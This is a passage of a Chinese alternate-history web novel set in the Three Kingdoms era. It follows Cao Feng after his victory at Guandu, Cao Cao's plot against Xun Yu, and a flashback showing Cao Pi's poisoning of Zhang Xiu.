“徐荣老贼!我要撕烂你的嘴!” 随着曹操麾下众将被一一擒获,曹军开始全面溃败。 这场决定中原命运的官渡大战,终于接近尾声。 ...... 中军大帐内,吕玲绮挺着微微隆起的肚子,焦急地来回踱步。见曹风掀帐而入,她立刻迎上去:“夫君,可有我父亲的消息?” 曹风刚听完各部的搜索汇报,摇了摇头:“目前还没找到。不过没有找到尸体,也不算坏事。” 吕玲绮明白丈夫的言外之意,强忍泪水点了点头。 杜芷温柔地扶住吕玲绮的手臂:“妹妹先回去休息吧,你现在最要紧的是养好身子。” “若是伤到腹中胎儿,吕将军知道了也会心疼的。” 待杜芷搀扶着吕玲绮离开后,被俘的曹军将领开始陆续被押解到大帐,等候曹风发落。 第一个被押进来的是夏侯惇。 这位独眼将军虽然被五花大绑,却依然昂首挺胸,用仅剩的那只眼睛恶狠狠地瞪着曹风:“曹风!要杀要剐悉听尊便!正好下去陪妙才!你这畜生,竟然杀害自己的亲叔伯!” 帐中诸将闻言都面露怒色。 其他人顾及夏侯惇毕竟是曹风的长辈,只是怒目而视,没有出言不逊。 唯有徐荣不吃这套,冷笑道:“夏侯惇,你哪只眼睛看见公子杀夏侯渊了?” 顿了顿,徐荣又故意补充道:“哦对,我倒是忘了你就剩一只眼了。” 这番话引得帐内众人哄堂大笑。 夏侯惇气得满脸通红,正要破口大骂,突然听到角落里传来一个懒洋洋的声音:“我给公子作证,夏侯渊确实还活着。公子根本没杀他。” 夏侯惇这才发现,大帐隐蔽的角落里竟还躺着个人,正悠闲地晃着摇椅。 之前他的注意力全在曹风身上,根本没发现那里还有人。 待看清说话之人的面容后,夏侯惇不敢置信地眨了眨独眼。 “你……你是郭奉孝?!你不是已经……已经……” 郭嘉慢悠悠地坐起身,“元让,别来无恙啊。” “啊呀!”夏侯惇惊得倒退两步,“真是见鬼了!” 曹风此刻正为吕布的事心烦意乱,加上与夏侯惇本就关系不睦,便对甄何吩咐道:“找几个可靠的人,送他去汉中和妙才伯父团聚。别在这儿吵吵嚷嚷的。” 下一个被押进来的是曹仁。 与夏侯惇的待遇截然不同,曹风亲自上前为他松绑。 这不仅仅因为曹仁是长辈。 曹仁的儿子曹泰是曹风的死忠追随者,而曹仁的妻子张氏更是与曹风母亲韦婉情同姐妹。 韦婉去世后,张氏悲痛欲绝,连续多日以泪洗面,茶饭不思。更难得的是,张氏待曹风比亲生儿子曹泰还要亲厚。 除此之外,在曹操诸多子嗣中,除了长子曹昂,曹仁对其他人都一视同仁。 他从不会因为别人的闲言碎语而对曹风另眼相待。 因为这些缘故,曹风对曹仁一直保持着些许敬重。 第175章 郭嘉:曹仁,放下我的酒葫芦! 曹风快步上前,稳稳扶住曹仁的手臂,带他走向主位。他的动作自然恭敬,微微低头说道:“叔父,您请上座。” 曹仁内心的情绪很复杂。 作为沙场老将,曹仁行事向来果断。但此刻,他却陷入了矛盾。 一方面,他不忍拒绝侄儿的诚意。 另一方面,他不仅是曹操的堂兄,更是曹操的将领。如今曹操与曹风势同水火,曹仁绝不能背叛曹操。 我一个败军之将,哪有资格上座?”曹仁咬着牙说出这句话,目光却始终避开曹风。 曹仁表明了自己的立场。他还是选择了曹操。 曹风闻言不仅没有恼怒,反而笑道:“叔父这是在和我赌气?” 见曹仁嘴唇干裂,曹风示意侍从端来凉茶,亲手为曹仁斟满。 曹仁端起茶碗,一饮为尽。 良久,他才长叹一声:“唉!你婶婶……她天天念叨,想让你再去家里吃她煮的面。曹泰那孩子也是,整天吵着要见你。” “风儿,咱们都是一家人,何必非要打仗?你就不能再和魏王好好谈谈吗?” 曹风的眼神瞬间变得锐利如刀,方才的温和荡然无存。 曹风直起身子,声音低沉却坚定:“没什么好谈的!叔父不必再劝了!曹操是怎么对我的,你心里清楚!更何况,我娘的死,他也脱不了干系!” 又是一阵沉默。 曹仁试探着问曹风:“要是……要是魏王最后败了,你打算怎么处置他?” 见曹风沉默不语,曹仁重重地叹了口气,肩膀明显地垮了下来。 他突然抓起曹风桌上的酒葫芦,转身就往帐篷外大步走去,边走边摇头:“打吧!打吧!你们父子的事我不管了!操不起这个心!” “也就子脩若是还活着,才能化解你们父子间的恩怨。我去找暖暖了。” 就在这时,原本躺在角落摇椅上的郭嘉突然一个鲤鱼打挺跳了起来,病恹恹的样子瞬间消失得无影无踪。 膝盖传来的疼痛让他疼得直咧嘴,差点又坐回去。 但他顾不上这些,三步并作两步追了出去:“曹子孝!你给我站住!那是我的酒葫芦!” 声音中气十足,恨不得要与曹仁拼命。 也难怪郭嘉如此的愤怒和焦急。他绞尽脑汁,费尽心思才骗来一葫芦酒,结果被高顺发现,直接没收,还上交给了曹风。 曹风背着郭嘉,特意去问了华佗,郭嘉现在能不能喝酒。华佗给的回答是可以少喝一点。 于是曹风答应郭嘉,等会议结束,就悄悄把酒壶还给他。 没过多久,营帐外又传来一阵骚动。 几名士兵小心翼翼地抬着一个担架进来,上面躺着的是被马超打下马的李通。 这个身材魁梧的将领此刻面色惨白,嘴角还挂着血迹。 “这人命真大。”随行的军医小声嘀咕道。 确实,李通落马后,能在千军万马的冲锋中,从上万只马蹄下活下来,简直就是个奇迹。 李通自从投靠曹操后,不仅获得了实权,整个家族的利益都与曹魏政权紧密相连。正因如此,他在非嫡系将领中忠诚度最高,堪称曹操阵营的“模范降将”。 还没等曹风开口,李通就突然瞪大眼睛,作势要咬舌自尽。幸好押送他的士兵眼疾手快,立即捏住了他的下巴。 “李将军,真的要为曹操去死吗?”曹风沉声问道,同时示意军医上前查看伤势。 李通缓了好一会儿,才攒够力气说话,声音虚弱得几乎听不见。 “我的家眷都在汝南……” “我本来就是降将,如果再投靠公子,魏王一定会杀我全家……” 每说几个字,他就要停下来喘口气,显然伤势极重。 曹风摇摇头,走到担架旁蹲下,声音放轻了些:“经过这一战,你觉得汝南、整个豫州,还会是曹操的地盘吗?我已经命令高览,让他和张郃从徐州出兵,攻打豫州。” 李通艰难地摇头,眼中满是绝望:“豫州刺史满宠很有才能……公子很难打下豫州……” “以满宠的性格,一定会听魏王的命令,杀我全家……” “而且扬州的张辽也会出兵帮助豫州……”说到这里,李通突然咳嗽起来,嘴角又溢出一丝鲜血。 待咳嗽平息,李通用尽最后的力气说道:“他们两人联手……高览和张郃攻不下豫州的。” 曹风闻言却笑了,那笑容中带着胜券在握的自信:“这样吧,我先放出假消息,说你已经战死了。” “我们打个赌。如果满宠能守住豫州,或者张辽出兵援助豫州,帮你治疗好伤势后,我就放你走。” 虽然嘴上说是公平打赌,但曹风的语气和神态已经表明,他已经替李通决定了。 不等李通回应,曹风就挥手吩咐道:“送李将军下去养伤。” 根据兵曹掾送来的战后统计,这次官渡之战,曹风不仅俘虏了曹操麾下诸多将领,还收编了五万多降兵。 遗憾的是,曹风没能俘获曹休率领的虎豹骑。 荀攸这个老谋深算的家伙见势不妙,果断下令撤退。不仅保全了自己和曹休,还将虎豹骑的损失降到了最低。这份决断力,确实令人佩服。 这一战后,曹操元气大伤,短期内恐怕只能固守防线,再也无力渡江南下了。 除了濮阳这一战略要地,曹操已经失去了所有与中原能联系的城池。曹风只要攻下濮阳,就能彻底切断曹操的势力,然后逐步蚕食其中原残余地盘。 最令人曹风恼火的是,让曹操本人逃脱了。 想到这里,曹风不得不佩服曹操的专属座驾——曹洪。 这位老将年事已高,却还能背着曹操健步如飞。 若是放在游戏里,曹洪和曹操绝对能触发特殊组合技能。 不过曹操在阵前旧疾复发,再次晕倒了。曹风特意询问了华佗,华神医表示曹操恐怕时日无多了。 与此同时,天下局势也日渐明朗。 曹风占据中原已成定局。 他决定兵分两路:一方面继续向北追击曹操,为母亲报仇;另一方面则要尽快攻占中原各战略要地。 第176章 卧底陈宫发力,忽悠来了张松 南方,孙权已经收到兄长孙策的来信,邀他在会稽会面。 荆州方面,刘备占领全境只是时间问题,但他能否站稳脚跟,还要看孙权和吕蒙是否有骚操作。 与此同时,刘备正听从诸葛亮和庞统的建议,暗中谋划益州。 益州方面,刘璋听闻汉中张鲁已与曹风结盟,担心张鲁会南下攻蜀,便采纳法正的建议,打算迎刘备入蜀共抗张鲁。 就在这个节骨眼上,曹风安插在益州的卧底陈宫开始发力了。 陈宫极力劝说刘璋不要轻信刘备。这番话正中刘璋下怀,他本就担心刘备会反客为主。尽管法正多次进言,刘璋仍然犹豫不决。 陈宫趁机与张任等益州将领结盟,厉兵秣马,随时准备与刘备开战。 正当曹风与众人商议下一步计划时,守在帐外的陈到快步走了进来。 他将一封信恭敬地呈给曹风:“公子,陈宫派人送来的急信。” 曹风展开信件,越看越是欣喜,最后忍不住问道:“叔至,送信的人现在何处?” 陈到抱拳答道:“正在营外等候。公子若要召见,末将这便命人带他进来。” 曹风突然起身,脸上洋溢着掩饰不住的喜悦:“不必了,我亲自去迎接。” 说着,他环视帐内众人,“诸位都随我一同前往。” 就在即将走出营帐时,曹风突然想起了什么。 他转身对徐荣说道:“大荣,你就不用跟着去了。暖暖在找你陪她玩。” 他要去见的那个人长相有些特别。 曹风实在信不过徐荣那张嘴。好不容易就要到手的益州,可别让徐荣这张嘴给喷没了。 况且暖暖已经缠着曹风找她的徐伯伯很久了。之前因为徐荣军务繁忙,曹风就没去打扰他。正好借这个机会,让徐荣陪陪这个活泼的小丫头。 在曹风麾下众将中,就数徐荣最宠曹婴。 这个平日里表情严肃的将帅,一见到曹婴就会露出难得的笑容,简直把她当成了自己的亲孙女。 而此时,帐内众人面面相觑,纷纷猜测: 究竟是何方神圣,竟值得公子亲自出迎? 要知道,即便是名满天下的谋士来投,曹风也鲜有如此礼遇。 此时,曹风中军大营外,一个身材矮小的文士正来回踱步。 他时不时扯一下自己宽大的衣袍,又抬手抹去额头的汗珠,显得十分不安。 此人正是益州别驾张松。 他暗中不满刘璋昏庸无能,一直在寻找明主投效。 原本张松最属意刘备,但被陈宫一番劝说后,决定先来曹风这里看看。在等待接见的这段时间里,他仔细观摩了曹风军营的布置,越看越是心惊。 营寨布局严谨合理,各功能区划分得当,防御体系滴水不漏,显然有高人坐镇布局。 更令人震撼的是,曹风的营帐连绵不绝,一眼望不到尽头。 张松暗自咋舌:外界传闻中的纨绔子弟,何时拥有了如此雄厚的兵力? 随着逐渐靠近军营,张松感受到的肃杀之气愈发浓重。 尤其是经过凉州兵马驻地时,那些彪悍的西北汉子让张松不寒而栗。 但此刻张松内心更多的是忐忑。 以曹风现如今的势力,真的会把他这个益州来的小人物放在眼里吗? 更别说自己这副长相——其貌不扬,过去可没少因此吃亏。 在陈宫没找张松谈话之前,张松之所以选择先去见刘备,是因为听说庞统已经投效刘备并受到重用。 张松心想,庞统长得比自己还丑,刘备既然能容忍庞统的相貌,自然也不会嫌弃自己。 正当张松胡思乱想之际,中军大营突然涌出一群文臣武将。 为首的是个年轻公子,步履匆匆却气度不凡,脸上带着真诚的笑容。 距离尚远,那公子就热情地喊道:“张先生远道而来,快请入帐歇息!实在抱歉,不知先生驾到,让您久等了!” 张松一时愣住了。 他猜到这位公子必是曹风,却没想到对方会如此礼待自己——不仅亲自出迎,还带着众多幕僚和武将相陪。 更令他惊讶的是,这些幕僚中竟有不少是当世名士,好些都是他认识的人物。 曹风竟给了他这般隆重的礼遇! 更让张松感动的是,曹风并没有掀起自己的长相。 快步上前,在他刚要行礼时就一把扶住,诚恳道:“先生远道而来,又是蜀中大才,风怎敢受此大礼。” 张松顿时眼眶发热,声音哽咽:“松何德何能……” 这一刻,他无比庆幸听从了陈宫的建议。 曹风的这番礼遇,让他感受到了前所未有的尊重。似乎长得丑,也不是什么特别大缺点。 ………… 曹洪背着曹操逃到对岸港口,早有于禁前来接应。两天后,曹操的溃军才陆续逃回来。 曹操也从昏迷中醒来。 他抬眼看向站在自己床榻前,忧心忡忡的几人。 见曹操醒来,张仲景赶紧叫其他人:“魏王醒了!” 同时,张仲景提醒大家,千万不要再让曹操情绪激动,否则神仙也救不了他。 曹操努力看清众人,然后疑惑地问:“子孝、元让、子建他们人呢?” 曹洪担心曹操知道这几个人被俘后会直接嘎掉,就敷衍说:“还没回来。估计是退守陈留,继续抵抗曹风。” 曹操想了一会儿,吩咐说:“让子建先回邺城。” 曹洪点头答应,心里却不知怎么办。曹植早就被曹风抓走了,他去哪儿给曹操找曹植。 曹操又问荀攸:“公达,我在阵前已经拖住了曹风,为什么没见你袭击他的后军?” 荀攸面露惭色:“此计已被识破。田丰、沮授坐镇敌营,我军难以临时变策。我只得与文烈将军率虎豹骑撤回。” 见众人面色忧郁,曹操突然大笑:“胜败乃兵家常事!当年官渡我赢了,这次官渡却输了。大不了再打一次!下一次,一定能赢!” 曹操又看向荀攸,试探地问:“文若呢?怎么没来?我还有重要事情要和他商量。” 荀攸脸色有些古怪,然后沉声说:“叔父前些日子感染风寒,病重在家,不能来见魏王了。” 曹操心中不悦,但还是装作关心地说:“真巧啊,文若与我同时病了。你替我去看看文若吧。” 然后,曹操挥挥手:“各位都辛苦了,早点回去休息。仲达,你留下。” 司马懿心里一沉:完了!要完犊子!曹操单独留下自己,肯定是没有什么好事儿! 第177章 曹操杀荀彧,司马懿背锅 司马懿他垂首而立,额头渗出细密的汗珠,却不敢抬手擦拭。 殿中寂静得可怕,司马懿甚至听见自己急促的心跳声。 曹操给司马懿带来的压力实在太大了,尤其是之前用能调动军队的令牌试探他之后。 司马懿很清楚,自己的“鹰视狼顾”已经让曹操起了杀心。如果接下来的回答不能让曹操满意,他很可能当场就没命了。 “仲达。”曹操用沉默给足了司马懿压迫感后,突然开口,语气平静却透着不容抗拒的威严,“你可知我为何还留着你?” 司马懿立即躬身行礼,宽大的衣袖几乎垂落在地。 他感觉到后背的衣衫已经被冷汗浸湿,紧贴在皮肤上。 “臣愚钝,请魏王明示。”司马懿的声音刻意压低,显得格外谦卑。 曹操缓缓说道:“你司马家世代住在河北,离邺城不过一步之遥。我要杀你,随时都能动手。你就算逃了,还有整个司马家族替你偿命。 曹操停顿片刻,继续说道:“以你的才智,足以成为当世顶尖的谋士。” 司马懿的头垂得更低了,“臣惶恐。” 他的声音有些发颤。 曹操的声音忽然缓和下来:“从今日起,你与荀彧等人一同参议军国大事。"这突如其来的温和反而让司马懿更加警觉,"望你们同心协力——更要好好相处。” “臣谨遵魏王教诲。”司马懿再次深深行礼,“定当竭尽所能,不负魏王厚望。” 司马懿不敢再装了,也不敢再拒绝曹操,不然只有死路。 曹操满意颔首,轻轻击掌。一名校事府的侍从应声而入。曹操凑近她低语几句,女子连连点头,眼角余光却不时扫向司马懿。 “仲达,”曹操脸上浮现出意味深长的笑容,“你随她去取个食盒。然后亲自替我送到荀彧府上。” “臣遵命。”司马懿恭敬应道,跟着侍从退出大殿。他能感觉到曹操的目光一直追随着自己的背影,如芒在背。 待他们走远,曹操脸上的笑容瞬间消失。 曹操心里跟明镜似的。荀彧所谓的抱恙在身,不过是推脱之词。这个曾经最得力的谋士,如今已经与他离心离德。 想到这里,他眼中闪过一丝狠厉。 他精心设计了这个局。 那个看似普通的食盒,实则暗藏杀机——里面空无一物。 以荀彧的才智,打开后必定明白其中含义。而荀彧死后,他正好可以把罪名推到司马懿头上,让司马家和荀家结下血海深仇。 这也是在提醒司马懿! 今天曹操能杀与自己离心的荀彧,明天就可能杀他司马懿。 这样一来,荀攸和司马懿就会互相牵制。待他百年之后,曹植就能更好地驾驭这两股势力。 其实曹操旧病复发,并非全因吕布之事。更重要的原因是,三日前他在曹风的阵营中,惊鸿一瞥地看到了一个绝不该出现的身影。 那个身影虽然转瞬即逝,但曹操对其再熟悉不过。 那走路的姿态,那转身的弧度,甚至是衣袖翻飞的轨迹。 那是郭嘉,郭奉孝! 当时他还以为是大白天见了鬼,手中的马鞭都掉在了地上。 曹操没有将此事告知任何人,因为事后他自己也怀疑是不是眼花了。 且不说郭嘉早在征讨乌桓时就已病逝,就以郭嘉的为人,也绝不可能背叛自己投靠曹风。 曹操太了解这位故人了,他们曾彻夜长谈,曾并肩作战,他坚信郭嘉绝对不会帮助曹风来对付自己。 就在此时,天幕再次展开。 曹操静静仰头观望。 接下来呈现的将是官渡之战的场景。郭嘉正是在此战后不久病逝的。至于那个出现在曹风阵营中的身影究竟是不是郭嘉,或许这天幕能给出答案。 天幕的视角依然从曹风开始。 【曹操在彻底消灭吕布后,获得了短暂的休整时间,为即将到来的与袁绍的决战做准备。这段日子里,许昌城内车马往来不绝,各路信使日夜兼程,军营中操练声不绝于耳。】 【在这段日子里,监斩部暂时没有任务,曹风也得到了难得的休息机会。】 【他没有随韦康的凉州兵马返回天水,而是选择留在许昌。因为再过几日就是王五大婚的日子,他答应要亲自到场祝贺。】 【许昌城外三十里处有个依山傍水的小村庄,这里是王五的家乡。】 【王五的婚礼已经筹备妥当,就等着吉时去邻村迎娶新娘。】 【此刻王五正站在村口的老槐树下,不停地用袖子擦拭额头的汗水,眼睛始终盯着远处的官道。】 曹风公子答应过要来参加他的婚礼,这让他既期待又忐忑。 【几个同村的乡亲站在不远处的树荫下乘凉,其中有两三人一直对王五突然飞黄腾达心怀嫉妒。】 特别是那个姓李的老头,仗着女儿给曹营一位高级将领的儿子做了小妾,在村里向来趾高气扬。但自从王五跟随曹风后,地位水涨船高,渐渐取代了李老头在村里的风光。 【李老头拄着拐杖,故意提高嗓门说:"他还真指望曹风公子会来?虽说传言曹风公子不受曹操待见,但到底是曹府的三公子,身份何等尊贵。”他啐了一口,“怎么可能屈尊降贵来参加一个小小监斩官员的婚礼?”】 【他的跟班立即附和:“就是,三公子不过是客套几句,没想到有人当真了。听说城里那些大人们想见三公子一面都难呢。除非去青楼。”】 【王五的母亲忧心忡忡地走过来,粗糙的手拉住他:“五儿,听娘的,别等了。公子还能记得咱们,已经是天大的面子。这样的大人物,哪会……”】 【“娘!”王五打断母亲的话,语气坚定,“公子答应过的事,从来没有食言过。”】 【王母叹了口气,用围裙擦了擦眼角。】 她太了解自己的儿子了。虽然从前是个街头混混,但性子最是执拗。认准的人和事,九头牛都拉不回来。今天要是曹风不来,她这个傻儿子怕是真的会一直等下去,连新娘都不去接了。 【就在众人议论纷纷,有人已经开始冷嘲热讽时,远处突然传来一阵急促的马蹄声。】 【只见十余骑衣着华贵的公子哥,簇拥着一辆装扮奢侈的马车向村子疾驰而来。】 【驾车的正是甄何,王五一眼就认出来了。】 能让曹风的绝对心腹亲自驾车,车上之人的身份不言而喻。 第178章 贾诩隐身术:看不见我,看不见我! 【王五激动地跑上前去,不小心被地上的石块绊了一下,差点摔倒在地。他的声音都激动的发颤:“公子!您真的来了!”】 【那些方才还在嘲笑王五的人顿时目瞪口呆。】 他们万万没想到,曹风真的会屈尊来参加一个职级低微的监管官员的婚礼。 更令人震惊的是,曹风还带来了这么多权贵子弟。 这些年轻人他们都认识,全是曹军高级将领家的公子哥,平时在许昌城里都是横着走的主儿。只有曹操出征路过村子时,他们才有机会见到这些权贵子弟。 【村里所有人都用羡慕的眼神看着王五。】 【王母更是激动得老泪纵横,粗糙的手指不停地抹着眼角。】 她的儿子真的出息了,能让这样的大人物亲自来贺喜。虽然曹风的名声不太好,但毕竟是曹丞相的公子,是他们这些平民百姓想都不敢想的大人物。 【李老头完全傻眼了,手中的拐杖啪嗒一声掉在地上。他那个做将领女婿的儿子,此刻正在曹风的随行队伍中。】 【平时对他爱理不理的女婿,现在正满脸堆笑地与王五寒暄,还亲切地拍着王五的肩膀。】 【曹风潇洒地跳下马车,指着身后那群公子哥,对王五笑道:“路上耽搁了些。这些家伙一个个都被家里看得太紧,好不容易才偷偷溜出来。”】 王五激动得语无伦次,结结巴巴地说:“公子能来,就是给王五天大的面子。我王五这辈子最大的造化就是跟着公子,您就是我的再生……”】 【话没说完,曹风抬腿就是一脚,笑骂道:“少来这套!” 【这一脚看似用力,实则只是轻轻碰了碰王五的大腿。】 【这一脚踢得村里人都红了眼。】 众人都明白,这是曹风对待心腹才会有的亲昵举动。若是关系一般的,以曹风的身份,连正眼都懒得给,更别说用脚踢了——他嫌脏。 【曹风一把搂住王五的肩膀:“今天你是新郎官,快带我们去见见新娘子!”转头又对那群公子哥喊道,“都给我精神点!今天是我兄弟大喜的日子,必须办得热热闹闹的!风风光光的!”】 【那群权贵子弟立刻起哄,围着王五七嘴八舌地调侃起来。有人嚷着要看新娘子,有人打趣王五今天打扮得人模人样,还有人从马背上取下一个精致的木盒,说是给新人的贺礼。】 【当王五介绍自己的母亲时,曹风收敛了笑容,郑重其事地行了个晚辈礼。】 【王母慌得手足无措,布满皱纹的脸上写满了惶恐:“使不得!使不得!三公子折煞老身了……”说着就要跪下,被曹风连忙扶住。】 【“大娘不必多礼。”曹风的声音温和了许多,“五子是我过命的兄弟,今天是他大喜的日子,咱们不讲那些虚礼。”】 【老太太感动得直抹眼泪,连连点头。她粗糙的手掌紧紧握住曹风的手腕,却又怕弄脏了对方华贵的衣袖,赶紧松开。】 【李老头见状,灰溜溜地想要躲开,却被女婿一把拉住:“原来您和王五兄弟是同村啊!怎么不早说?早知道这层关系,我定会对令爱更加疼爱。”】 李老头恨不得找个地缝钻进去。 但他毕竟是个精明人,知道如果让女婿发现自己一直刁难王五,女儿在夫家的日子肯定不好过。 他心一横,扑通跪在王五面前,额头重重磕在地上:“王大人,小老儿有眼不识泰山,往日多有得罪,还望大人不计小人过……” 其实以王五现在的地位,早就可以整治李老头。 但他心里明白,自己能有今天全靠曹风提携。在得知李老头的女儿嫁给了曹风身边人做妾后,王五就忍了下来,不想给公子添麻烦。 【王五一挥手:“滚蛋!今儿老子大喜的日子,少在这儿触霉头!”】 【老李头吓得连滚带爬地逃开了。】 天幕画面跳转…… 【曹操在徐州之战中彻底消灭了吕布,稳固了兖州、豫州和徐州三地,避免了与袁绍决战时陷入两线作战的被动局面。此后,曹操得以集中优势兵力于北方,在官渡与袁绍展开决战。曹风也随大军来到了官渡前线。】 这场战役将决定北方霸权的归属,双方都投入了全部力量。 【每天都有新的部队抵达,营帐数量与日俱增。】 【袁绍派遣大将颜良进攻白马。】 【曹风作为监斩官,是没有资格在前线观战的。但他还是找了个视野开阔的山头,远远观望两军对垒。】 【这个位置很隐蔽,被几棵茂密的松树遮挡着。在他身后左侧,站着满脸愁容的张绣。】 张绣在宛城之战中被曹风彻底打怕了。对这位“疯子师叔”,他是又恨又怕。 说不恨是假的,毕竟他身上几乎所有的伤疤,都是拜曹风的五虎断魂枪所赐。那些伤疤至今还在阴雨天隐隐作痛。 本应在阵前听候调遣的张绣,硬是被曹风拽了过来。这要是让曹操知道,后果不堪设想。 【张绣的额头渗出冷汗,后背的衣衫已经湿透,紧贴在皮肤上,十分难受。】 【现在的张绣只求能保住性命。他不停地偷瞄山下曹操的中军大帐,生怕被人发现他擅离职守。】 【就在张绣小声嘀咕着抱怨时,曹风突然回头,不悦地问道:“你在那嘟囔什么呢?怎么流了这么多汗?”】 【张绣慌忙摆手,袖子带起一阵风:“没、没什么。”随即抬头望天,“这太阳太毒了……”】 【曹风抬腿就是一脚,指着乌云密布的天空:“你告诉我,太阳在哪?”】 【张绣尴尬地干笑两声,求助地看向不远处的贾诩。】 【贾诩却假装没看见,专注于让自己隐藏的更深,不被山下的人发现。】 贾诩在心里把张绣骂了个狗血淋头:这个蠢货,自己找死还要拉我垫背?要不是你害死曹昂,我至于落得现在这般田地吗?曹风正愁找不到理由收拾我呢,你倒好,主动把我送上门来…… 第179章 曹丕杀人灭口,曹风反手递解药 【曹风顺着张绣的目光看向贾诩,心中暗自觉得好笑。】 这个老谋深算的家伙,保命的本事确实非同一般,每次都能在最危险的时刻找到最安全的藏身之处。 【贾诩选择的位置非常巧妙,正处于山腰一处突出的平台上,既能居高临下地看清山下整个战场的局势,又因为角度和树木的遮挡,很难被山下的人发现。】 【他站在一棵歪脖子松树旁边,那棵松树树干扭曲,树皮斑驳,贾诩穿着青灰色的长袍站在那里,整个人的轮廓几乎与树干融为一体,若不仔细看,还真分辨不出那里站着个人。】 这时曹风才明白,怪不得他之前就注意到贾诩总是偏爱穿青灰色的衣服,原来是为了更好地隐藏自己。 【此刻的贾诩不仅站姿与树木相似,连呼吸都刻意放轻,整个人就像一棵没有生命的树一样静止不动,只有那双精明的眼睛时不时转动一下,观察着四周的动静。】 【整个山头此时就他们三个人。两个聪明人,和一个傻子。】 【张绣像个傻子似的,站在最显眼的山崖边上,活脱脱就是一个活靶子。】 【曹风不会放过任何调侃贾诩的机会,他故意提高声音道:“贾文和,你怎么鬼鬼祟祟的?又想着什么见不得人的勾当?”】 【曹风又指着贾诩身边的树干:“都藏得这么严实了,又把自己伪装成一棵树,还琢磨怎么开溜呢?”】 【贾诩只能赔着笑脸。】 他觉得自己真是倒了八辈子霉,到哪儿都躲不开曹风这个煞星。本来在中军大帐装病装得好好的,连医官都诊断不出问题,硬是被曹风二话不说就把他给揪了出来。 要是让曹操发现他和曹风的关系,再查出他是曹风安插的眼线,那真是死无葬身之地了。 张绣见到贾诩时也愣住了,手中的长枪都差点掉在地上。他没想到贾诩竟然也是曹风的人。 他对贾诩太了解了,知道这个老狐狸做事向来谨慎,不是被逼到绝路,绝对不会做出投靠曹风这种铤而走险的事情。 他很好奇曹风到底用了什么手段收服贾诩,是威胁?是利诱?还是抓住了什么把柄? 同时,张绣对曹风的敬畏之心也更重了。 连贾诩这样的老狐狸都能被曹风收拾得服服帖帖,张绣心里顿时平衡了不少,至少自己不是唯一一个被曹风拿捏的人。 他偷偷打量着曹风挺拔的背影,心想这个年轻的疯师叔到底还藏着多少不为人知的手段。 【曹风指着山下正在阵前耀武扬威的颜良,对张绣说:“要不是我带你来这里,你今天必死无疑!】 【张绣很自信道:“文和说过,曹公不会杀我的。他说曹操看重我的才能,想要收为己用。”】 【贾诩听到这话,恨不得一脚把张绣踹下山去,这个猪队友总是想拉自己下水。他急忙咳嗽几声,假装被风沙迷了眼睛,避开曹风的目光。】 【曹风冷笑道:“我说过是曹操要杀你吗?曹丕有没有跟你说过什么话?你仔细想想。”】 【张绣皱着眉头回忆,突然想起来了:“前日议事时,曹丕确实说过,我杀了他大哥,怎么还有脸出现在曹操的军帐里。当时曹操还呵斥了他。”】 【“曹丕想杀我,为曹昂报仇!”张绣恍然大悟。】 【曹风冷笑道:“说对了一半。他是想杀你!不过不是为了给我大哥报仇,而是杀人灭口!那天在宛城发生的事情,知道真相的人越少越好。”】 【曹风不想跟张绣详细解释宛城之变的真相,而是指着山下耀武扬威的颜良说:“如果你现在不是在这里,而是在曹操军中,曹丕一定会建议曹操派你去战颜良。你不是颜良的对手。”】 【张绣没说话,握着长枪的手却紧了紧,心里却不服气。】 我打不过你这个疯子师叔,还打不过颜良?! 我张绣北地枪王的名号可不是白叫的!当年在北地,谁不知道我张绣的威名? 【曹风似乎看出了张绣的不服气,沉声道:“你是不是觉得自己武功盖世,对付颜良绰绰有余?告诉你,你中毒了。】 【曹丕故意在军帐里当着曹操的面那样骂你,就是为了后面这步棋。后来曹操是不是让曹丕给你赔不是?曹丕装作恭敬地给你倒了杯凉茶道歉?你喝了那杯茶对不对?”】 【张绣脸色突然变得煞白,他确实喝了那杯茶。】 【曹风将一个小瓷瓶丢给张绣,继续说:“这是解药,曹丕给你下的是慢性毒药。会让你胸口发闷,四肢渐渐无力。症状很像某种疾病,军医也查不出来。你到时候死了,也是被因病被颜良所杀。”】 【张绣手忙脚乱地接住小瓷瓶,心中大惊。】 曹风说的症状,他确实都有。 这几天他一直觉得胸口发闷,手臂偶尔使不上力,还以为是水土不服。现在回想起来,这些症状确实是在喝了那杯茶之后出现的。 一旁的贾诩听得心头也是一颤。“毒茶”这个词让他想起了一些很不好的回忆。 同时,贾诩心中也充满震惊。 曹风明明不在曹操的军帐中,却对里面发生的事情了如指掌。而且,他是怎么判断出张绣中毒的呢?难道他在军中还有别的眼线? 贾诩突然想通了:是茶碗! 那个茶碗里还残留着毒药。曹丕的死忠曹真当时装作不小心摔碎了茶碗,然后曹丕让一个侍从把碎片丢了出去。茶碗是曹操军帐里的物品,如果曹丕贸然带走完好的茶碗,肯定会引起怀疑。但如果是摔碎的、被丢弃的,就合理多了。 但曹丕没想到,碗的碎片会被曹风的人捡到。 贾诩猜测曹风一定是把碎片交给了李儒。以李儒用毒的手段,轻而易举就能查出碗上残留的是什么毒药。 贾诩暗道:“曹操和他的几个儿子,没一个是省油的灯,一个比一个狡猾。但最狡猾的,就是这个装成纨绔的曹风。我千防万算,还是总着了曹风的道。我的保命守则本来只有五百八十二条,自从遇见曹风,已经增加到三千九十二条了。” 第180章 关羽推荐曹脩斩颜良 就在这时,山下的战斗已经打响了。 【战鼓声如雷,喊杀声震天,两军阵前尘土飞扬。】 【冯楷被点名第一个出阵迎战颜良。】 他是个经验丰富的老将,心里很清楚自己只是曹操用来探路的石子,目的是让其他将领观察颜良的武艺,为接下来的战斗做准备。 但冯楷没有办法,这是曹操亲自点将。明知道自己不是颜良的对手,也只能硬着头皮上。否则,他也会因为畏战的罪名被处死,而且还会连累家人。 【冯楷深吸一口气,握紧长枪,催马冲向颜良。】 【两马相交的瞬间,颜良的大刀如闪电般劈下,冯楷勉强架住第一刀,却被第二刀直接劈中肩膀,鲜血喷涌而出。冯楷还想挣扎,颜良的第三刀已经砍下了他的头颅。】 【整个过程快得让人反应不过来,曹军阵中一片哗然。】 【颜良用刀背挑飞冯楷的尸体,向曹操挑衅道:“曹贼,这么弱的武将,也好意思派出来!你们曹军没人了吗?”】 【颜良的话激怒了曹军阵营中冯楷的好友宋宪。】 【他双目赤红,挺枪出战颜良,要为好友报仇。】 【宋宪的武功比冯楷高一些,但也只坚持了三个回合,就被颜良一刀刺穿胸膛,当场毙命。】 【山下的战斗看得张绣直摇头:“两个废物,真是侮辱了枪这个兵器!要是换我上……”】 他说到一半突然停住,想起曹风刚才说的话,脸色变得难看起来。 【曹风不紧不慢地说:“好戏才刚刚开始。看着吧,颜良必死无疑。”】 